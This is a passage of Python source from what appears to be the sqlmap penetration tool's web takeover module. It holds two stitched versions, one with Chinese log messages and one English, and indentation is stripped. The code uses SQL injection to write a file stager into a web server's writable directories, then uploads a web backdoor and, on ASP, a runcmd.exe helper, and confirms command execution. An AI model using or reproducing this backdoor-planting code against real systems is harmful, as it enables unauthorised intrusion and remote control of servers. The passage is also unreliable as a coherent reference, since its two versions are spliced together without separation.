parseFilePaths(page)
value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=", cookie)
if value != cookie:
page, _, _ = Request.queryPage(value=value,
place=PLACE.COOKIE,
content=True,
raise404=False,
silent=True,
noteResponseTime=False)
parseFilePaths(page)
directories = list(arrayizeValue(getManualDirectories()))
directories.extend(getAutoDirectories())
directories = list(oset(directories))
path = urlparse.urlparse(conf.url).path or '/'
if path != '/':
_ = []
for directory in directories:
_.append(directory)
if not directory.endswith(path):
_.append("%s/%s" %
(directory.rstrip('/'), path.strip('/')))
directories = _
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorContent = decloak(
os.path.join(paths.SQLMAP_SHELL_PATH,
"backdoor.%s_" % self.webApi))
stagerContent = decloak(
os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
for directory in directories:
if not directory:
continue
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
self.webStagerFilePath = posixpath.join(
ntToPosixSlashes(directory), stagerName)
uploaded = False
directory = ntToPosixSlashes(normalizePath(directory))
if not isWindowsDriveLetterPath(
directory) and not directory.startswith('/'):
directory = "/%s" % directory
if not directory.endswith('/'):
directory += '/'
# 使用LIMIT 0，1 INTO DUMPFILE方法上传文件
infoMsg = u"尝试通过LIMIT'LINES TERMINATED BY'方法上传'%s'上的文件" % directory
logger.info(infoMsg)
self._webFileInject(stagerContent, stagerName, directory)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (
conf.scheme, conf.hostname, conf.port,
directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl,
stagerName)
debugMsg = "尝试查看该文件是否可以从'%s'访问" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl,
direct=True,
raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
# 退回到UNION查询文件上传方法
if not uploaded:
warnMsg = "无法在'%s'中上传文件" % directory
singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "尝试通过UNION方法将文件上传到'%s'上" % directory
logger.info(infoMsg)
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True),
self.webApi)
self.webStagerFilePath = posixpath.join(
ntToPosixSlashes(directory), stagerName)
handle, filename = tempfile.mkstemp()
os.close(handle)
with open(filename, "w+b") as f:
_ = decloak(
os.path.join(paths.SQLMAP_SHELL_PATH,
"stager.%s_" % self.webApi))
_ = _.replace(
"WRITABLE_DIR",
utf8encode(
directory.replace('/', '\\\\') if Backend.
isOs(OS.WINDOWS) else directory))
f.write(_)
self.unionWriteFile(filename,
self.webStagerFilePath,
"text",
forceCheck=True)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (
conf.scheme, conf.hostname, conf.port,
directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(
self.webBaseUrl, stagerName)
debugMsg = "正在尝试查看文件是否可以从'%s'访问" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl,
direct=True,
raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
if not uploaded:
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "文件stager上传在'%s', " % directory
warnMsg += "但不动态解释"
logger.warn(warnMsg)
continue
elif self.webApi == WEB_API.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(
EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(
VIEWSTATE_REGEX, uplPage)
infoMsg = "文件stager已成功上传到'%s' - %s" % (directory,
self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == WEB_API.ASP:
match = re.search(
r'input type=hidden name=scriptsdir value="([^"]+)"',
uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
_ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName,
backdoorDirectory,
content=backdoorContent.replace(
"WRITABLE_DIR",
backdoorDirectory).replace(
"RUNCMD_EXE", _)):
self.webUpload(_,
backdoorDirectory,
filepath=os.path.join(
paths.SQLMAP_EXTRAS_PATH, "runcmd",
"runcmd.exe_"))
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl,
backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.webUpload(backdoorName,
posixToNtSlashes(directory) if
Backend.isOs(OS.WINDOWS) else directory,
content=backdoorContent):
warnMsg = "后门没有通过file stager成功上传，"
warnMsg += "这可能是因为运行Web服务器进程的用户没有权限"
warnMsg += "在运行DBMS进程的用户文件夹中上传文件，因为没有写入权限，"
warnMsg += "或者因为DBMS和Web服务位于不同的服务器上"
logger.warn(warnMsg)
message = "你想尝试使用与文件stager相同的方法? [Y/n] "
if readInput(message, default='Y', boolean=True):
self._webFileInject(backdoorContent, backdoorName,
directory)
else:
continue
self.webBackdoorUrl = posixpath.join(
ntToPosixSlashes(self.webBaseUrl), backdoorName)
self.webDirectory = directory
self.webBackdoorFilePath = posixpath.join(
ntToPosixSlashes(directory), backdoorName)
testStr = "命令执行测试"
output = self.webBackdoorRunCmd("echo %s" % testStr)
if output == "0":
warnMsg = "后门已经上传，但缺少运行系统命令的必需权限"
raise SqlmapNoneDataException(warnMsg)
elif output and testStr in output:
infoMsg = "后门已经成功 "
else:
infoMsg = "后门可能已经成功 "
infoMsg += "上传到'%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
break
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
infoMsg = "trying to upload the file stager"
logger.info(infoMsg)
default = None
choices = ['asp', 'aspx', 'php', 'jsp']
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
if kb.os == "Windows":
default = "asp"
else:
default = "php"
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("invalid value, it must be between 1 and %d" % len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
kb.docRoot = getDocRoot(self.webApi)
directories = getDirs(self.webApi)
directories = list(directories)
directories.sort()
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName)
originalBackdoorContent = backdoorContent = backdoorStream.read()
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
for directory in directories:
# Upload the file stager
self.__webFileInject(stagerContent, stagerName, directory)
requestDir = ntToPosixSlashes(directory)
if not requestDir:
continue
if requestDir[-1] != '/':
requestDir += '/'
requestDir = requestDir.replace(ntToPosixSlashes(kb.docRoot), "/")
if isWindowsDriveLetterPath(requestDir):
requestDir = requestDir[2:]
requestDir = normalizePath(requestDir).replace("//", "/")
if requestDir[0] != '/':
requestDir = '/' + requestDir
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
self.webStagerUrl = "%s/%s" % (self.webBaseUrl.rstrip('/'), stagerName)
self.webStagerUrl = ntToPosixSlashes(self.webStagerUrl.replace("./", "/"))
uplPage, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
if "sqlmap file uploader" not in uplPage:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % directory
logger.warn(warnMsg)
continue
elif "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded "
warnMsg += "on '%s' but not dynamically interpreted ('%s')" % (directory, self.webStagerUrl)
logger.warn(warnMsg)
continue
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' ('%s')" % (directory, self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == "asp":
runcmdName = "tmpe%s.exe" % randomStr(lowercase=True)
runcmdStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName)
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", runcmdName)
backdoorStream.file.truncate()
backdoorStream.read()
backdoorStream.seek(0)
backdoorStream.write(backdoorContent)
if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory):
self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory)
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl.rstrip('/'), backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(directory) if kb.os == "Windows" else directory):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "with file stager probably because of "
warnMsg += "lack of write permission."
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for the file stager? [y/N] "
getOutput = readInput(message, default="N")
if getOutput in ("y", "Y"):
self.__webFileInject(backdoorContent, backdoorName, directory)
else:
continue
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = directory
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s', go with your browser " % self.webDirectory
infoMsg += "to '%s' and enjoy it!" % self.webBackdoorUrl
logger.info(infoMsg)
break